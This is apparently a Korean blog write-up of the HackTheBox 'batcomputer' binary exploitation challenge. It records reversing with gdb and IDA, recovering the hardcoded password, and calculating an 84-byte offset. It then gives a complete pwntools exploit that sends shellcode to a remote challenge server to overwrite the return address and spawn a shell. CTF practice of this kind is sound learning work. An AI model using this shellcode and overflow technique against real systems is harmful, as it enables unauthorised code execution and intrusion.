batcomputer -2- HackTheBox
해당문제는 HackTheBox Intro to Binary Exploitation 트랙 문제입니다.
문제의 소스코드는 주어지지 않았으며 파일 하나만 주어졌다.
실행하면 위와 같은 창이 뜬다.
어떤 특정 주소를 주고 조커 어쩌고 저쩌고 비밀번호를 맞춰야 하는 거 같았다.
우선적으로 gdb를 통해 뜯어보려고 시도 했다.
하지만 main 함수가 나오지는 않았다.. 뭐지?? 하면서 IDA 로 열어봤다.
이상하게 IDA에서는 main 함수가 있다..? 음..? 뭔가 이상했다. 뭔지는 모르겠어서 구글링을 통해 이런경우 어떻게 메인함수를 gdb로 뜯어볼 수 있는지 찾고 따라 해봤다.
우선 IDA로 뜯어보니 주석으로 비밀번호가 대놓고 나와있어서 비밀번호는 손 쉽게 구했다.
비밀번호: b4tp@$$w0rd!
GDB에서 실행하고 입력값을 주지 않은체로 Cntrl + C 를 통해 실행 취소 했다.
그릭 gdb를 잘 보면 __libc_start_main 으로 함수 주소를 하나 찾을 수 있었다.
---> 0x5555---1ec...
해당 부분이 main 함수 부분이라 생각하고 BP를 걸고 진입해 봤다.
IDA의 Main 함수 부분과 같게 나왔다.
해당 부분이 main 함수가 맞는거 같았다.
x/70i $pc 를 통해 gdb에 내부변수를 불러와 현재 main 함수를 디스어셈블을 목적으로 나타낸다.
보호기법은 다음과 같았고 패턴을 형성하여 입력값에 넣어주면서 ret에 BP를 걸면 offset을 구할 수 있을 거 같았다.
offset을 구해야 한다 생각한 이유로는 IDA로 구조를 보니 cat flag.txt 부분이 없을 뿐더러 실행되는 shell함수나 system 함수도 없었다.
결론은 Shellcode를 삼입하여 쉘을 직접 따고 flag을 읽어야 한다고 판단했다.
해당 부분에 BP 를 건 이유로는 rip+0xe5e IDA를 통해 확읺고 비교해 보았을때 비밀번호가 참이된 입력값을 넣고 Command 를 입력하라는 부분과 동일하기 때문이다.
해당 Command 입력 부분을 입력후 BP를 통해 실행이 중단되었을때 위치한 스택들에 입력한 값들을 확인하여 offset을 구할 수 있을것이라 생각했었기 때문이다.
위에 나온 스택 정보 0x7fffffffe104 는 입력의 시작 주소를 의미한다.
프레임 값을 확인 해보자. 이유로는 반환 값을 확인하기 위해서다.
입력받은 값을 저장한 rip 주소 - 기존 시작 입력 주소 0x7fffffffe104 을 빼준다면 늘어난 거리를 확인할 수 있을 것이다.
이를 통해 2번 명령을 수행시킬때 retn 값까지 값을 채울 offset을 구할 수 있다.
0x7fffffffe158 - 0x7fffffffe104 --> 0x54 --> 84 값이 나왔다.
사진과 함께 나타내 보자면
jmp 부분을 통해 ret 바로 뒤에 위치한 leave 부분까지의 거리를 나타낸다고 할 수 있다.
즉 dummy 값
0x7fffffffe104 값을 확인할 수 있는데 이 값에 들어있는 정보를 확인해 보자.
이후 다시 반복해서 AAAAA 값을 넣어봤다.
확인해보니 값에 AAAAAA가 들가 있는 걸 볼 수 있었다.
즉 dummy + shellcode + 0x7fffffffe104 값으로 ret 값까지 덮어버린다면 다시 입력값으로 돌아가 결국에는 shellcode를 실행시킬 수 있다는 것이다.
이를 통해 즉시 payload 를 작성해 보았다.
내 예상이 맞다면 익스플로잇 코드를 위와 같이 작성해야 할 것이다.
여러번 프로그램을 실행시켜보니 입력 값 저장 위치는 수시로 변화기 때문에 실시간으로 받으면서 페이로드를 작성해야 한다.
그렇게 작성한 익스플로잇 코드는 아래와 같다.
from pwn import *
p = remote('161.35.169.248', 32603)
e = ELF('./batcomputer')
p.sendline('1')
p.recvuntil("It was very hard, but Alfred managed to locate him: ")
retn_addr = int(p.recv()[0:14], 16) #16진수로 저장
print (hex(retn_addr)) # hex 형태로 출력 <---- 제대로 저장됬는지 확인하기 요함
p.sendline('2')
password="b4tp@$$w0rd!" #비밀번호 입력
p.recvuntil("Ok. Let's do this. Enter the password:") #데이터 받기
p.sendline(password) #패스워드 입력
data = p.recv(1024)
print(data) #받은 데이터 결과 출력
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f"
shellcode += b"\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = shellcode #payload = shellcode 성립
payload += b"A"*(84-len(shellcode)) #shellcode bit 만큼 빼주고 A곱하기 ---> dummy +shellcode==84
payload += p64(retn_addr) # 돌아갈 위치
p.sendline(payload) #페이로드 전송
data = p.recv(100)
print(data)
p.sendline('3')
p.interactive()
오늘 이 한문제 푸는데 8시간 걸렸다...
이번 기회에 GDB랑 어셈블리랑 많이 친해진거 같다.
HackTheBox 첫문제는 쉽게 풀어서 괜찮은 난이도 같았는데 아니였다 ㅠㅠㅠ
너무 힘들다..